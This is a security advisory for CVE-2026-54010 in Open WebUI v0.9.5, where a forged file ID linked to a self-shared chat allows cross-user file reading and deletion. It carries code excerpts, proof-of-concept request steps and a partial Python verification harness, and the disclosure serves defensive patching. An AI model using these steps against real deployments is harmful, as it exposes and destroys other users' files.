Advisory

PYSEC-2026-2763

Also known as: CVE-2026-54010, GHSA-vrhc-3fr6-pc3c

Summary

Open WebUI: Forged chat-file link allows cross-user file read and deletion

Details

Summary

Open WebUI v0.9.5 lets an authenticated user attach arbitrary file_id values to their own chat message without checking whether they own or can read those files. If the attacker then shares that chat and grants themselves read access, has_access_to_file() treats the victim file as accessible through the shared chat, and the file endpoints read or delete the victim file.

Impact

Security boundary crossed: file confidentiality and integrity.

An authenticated attacker who knows or obtains a victim file_id can make Open WebUI authorize, through an attacker-owned shared chat:

  • reading the victim file via GET /api/v1/files/{id}/content, and
  • deleting the victim file via DELETE /api/v1/files/{id}.

Root Cause

Client-controlled message file IDs are persisted without file authorization checks:

# backend/open_webui/main.py
await Chats.insert_chat_files(
    chat_id,
    user_message.get('id'),
    [
        file_item.get('id')
        for file_item in user_message_files
        if file_item.get('type') == 'file'
    ],
    user.id,
)

insert_chat_files() stores the provided IDs directly:

# backend/open_webui/models/chats.py
ChatFileModel(
    user_id=user_id,
    chat_id=chat_id,
    message_id=message_id,
    file_id=file_id,
)

Later, file authorization trusts shared-chat associations:

# backend/open_webui/utils/access_control/files.py
shared_chat_ids = await Chats.get_shared_chat_ids_by_file_id(file_id, db=db)
if shared_chat_ids:
    accessible_ids = await AccessGrants.get_accessible_resource_ids(
        user_id=user.id,
        resource_type='shared_chat',
        resource_ids=shared_chat_ids,
        permission='read',
    )
    if accessible_ids:
        return True

The download endpoint uses this helper:

# backend/open_webui/routers/files.py
if file.user_id == user.id or user.role == 'admin' or await has_access_to_file(id, 'read', user, db=db):
    return FileResponse(file_path, ...)

On affected versions this shared-chat branch is not gated on access_type (the grant lookup hardcodes permission='read', but nothing checks that the request itself is a read). The same forged association therefore also satisfies the write check that DELETE /api/v1/files/{id} performs, so the attacker can delete the victim file, not only read it.

Because the shared-chat branch ignores access_type, the deletion does not require the forged association at all. A user granted only read access to a chat that the owner legitimately shared can delete the owner's own files attached to that chat via DELETE /api/v1/files/{id}, since the read grant satisfies the write check. The forged association (above) broadens this to any victim file_id; a legitimate read-only share reaches it without any forgery.

PoC

  1. Attacker creates or uses a chat they own.
  2. Attacker sends POST /api/chat/completions or POST /api/v1/chat/completions where top-level user_message.files contains:
[
  {
    "type": "file",
    "id": "VICTIM_FILE_ID"
  }
]
  1. Backend inserts a chat_file row linking the attacker chat to VICTIM_FILE_ID.
  2. Attacker shares the chat and grants read access to themselves or public access.
  3. Attacker requests:
GET /api/v1/files/VICTIM_FILE_ID/content

Expected: 404/403 because the attacker does not own or otherwise have access to the victim file.

Actual: file authorization succeeds through the attacker-controlled shared-chat association.

Local Verification

I verified the bug locally with Open WebUI's real Chats.insert_chat_files() and real has_access_to_file() implementations. The harness uses fake DB adapters only to avoid this environment's async SQLite hang; the security-sensitive logic under test is the application code.

Result:

{
  "before_chat_file_link_attacker_can_read": false,
  "insert_sink": {
    "db_commit_called": true,
    "insert_returned_rows": true,
    "stored_chat_ids": [
      "attacker-chat"
    ],
    "stored_file_ids": [
      "victim-file"
    ],
    "stored_user_ids": [
      "attacker"
    ]
  },
  "after_attacker_shared_chat_links_victim_file_attacker_can_read": true,
  "confirmed": true
}

PoC:

#!/usr/bin/env python3
"""
Verifier for chat-file link authorization bypass.

This intentionally avoids the app DB because the local Python 3.13 async SQLite
stack hangs in this checkout. It still executes Open WebUI's real
has_access_to_file() implementation, with fake model adapters standing in for
the DB tables.
"""

from __future__ import annotations

import asyncio
import json
import os
import sys
import types
from pathlib import Path
from types import SimpleNamespace


def prepare_imports() -> None:
    repo_root = Path(__file__).resolve().parents[1]
    sys.path.insert(0, str(repo_root / "backend"))
    os.environ["VECTOR_DB"] = "none"

    class DummyTyper:
        def command(self, *args, **kwargs):
            return lambda fn: fn

    sys.modules.setdefault(
        "typer",
        types.SimpleNamespace(
            Typer=lambda *args, **kwargs: DummyTyper(),
            Option=lambda *args, **kwargs: None,
            echo=lambda *args, **kwargs: None,
            Exit=Exception,
        ),
    )
    sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None))


class FakeFiles:
    async def get_file_by_id(self, file_id, db=None):
        if file_id == "victim-file":
            return SimpleNamespace(
                id="victim-file",
                user_id="victim",
                meta={},
            )
        return None


class FakeKnowledges:
    async def get_knowledges_by_file_id(self, file_id, db=None):
        return []


class FakeGroups:
    async def get_groups_by_member_id(self, user_id, db=None):
        return []


class FakeChannels:
    async def get_channels_by_file_id_and_user_id(self, file_id, user_id, db=None):
        return []


class FakeModels:
    async def get_models_by_user_id(self, user_id, permission="read", db=None):
        return []


class FakeChats:
    def __init__(self, linked: bool):
        self.linked = linked

    async def get_shared_chat_ids_by_file_id(self, file_id, db=None):
        if self.linked and file_id == "victim-file":
            # This mirrors a chat_file row tying victim-file to the attacker's
            # shared chat. The real insertion sink is Chats.insert_chat_files().
            return ["attacker-chat"]
        return []


class FakeAccessGrants:
    def __init__(self, granted: bool):
        self.granted = granted

    async def has_access(self, *args, **kwargs):
        return False

    async def get_accessible_resource_ids(
        self,
        user_id,
        resource_type,
        resource_ids,
        permission="read",
        user_group_ids=None,
        db=None,
    ):
        if (
            self.granted
            and user_id == "attacker"
            and resource_type == "shared_chat"
            and "attacker-chat" in resource_ids
            and permission == "read"
        ):
            return {"attacker-chat"}
        return set()


class FakeDb:
    def __init__(self):
        self.added = []
        self.committed = False

    def add_all(self, rows):
        self.added.extend(rows)

    async def commit(self):
        self.committed = True


class FakeDbContext:
    def __init__(self, db):
        self.db = db

    async def __aenter__(self):
        return self.db

    async def __aexit__(self, exc_type, exc, tb):
        return False


async def verify_insert_sink_accepts_victim_file_id():
    import open_webui.models.chats as chats_module

    fake_db = FakeDb()
    chats_table = chats_module.Chats

    original_context = chats_module.get_async_db_context
    original_existing = chats_table.get_chat_files_by_chat_id_and_message_id

    async def fake_existing(self, chat_id, message_id, db=None):
        return []

    try:
        chats_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)
        chats_table.get_chat_files_by_chat_id_and_message_id = types.MethodType(fake_existing, chats_table)

        inserted = await chats_table.insert_chat_files(
            chat_id="attacker-chat",
            message_id="attacker-message",
            file_ids=["victim-file"],
            user_id="attacker",
        )
    finally:
        chats_module.get_async_db_context = original_context
        chats_table.get_chat_files_by_chat_id_and_message_id = original_existing

    return {
        "insert_returned_rows": bool(inserted),
        "db_commit_called": fake_db.committed,
        "stored_file_ids": [getattr(row, "file_id", None) for row in fake_db.added],

Severity

High Basis: CVSS v3 score 8.3, vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Dates

Published
2026-07-13 15:46 UTC
Modified
2026-07-13 16:32 UTC

Affected packages and fixes

open-webui

PyPI · All systems

Affected

  • introduced 0, fixed 0.9.6 (ecosystem)

Fixed versions

0.9.6

Fix

  • Fixed version 0.9.6
    pip install --upgrade open-webui==0.9.6

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: PyPA Advisory Database · CC BY 4.0

Sources & licences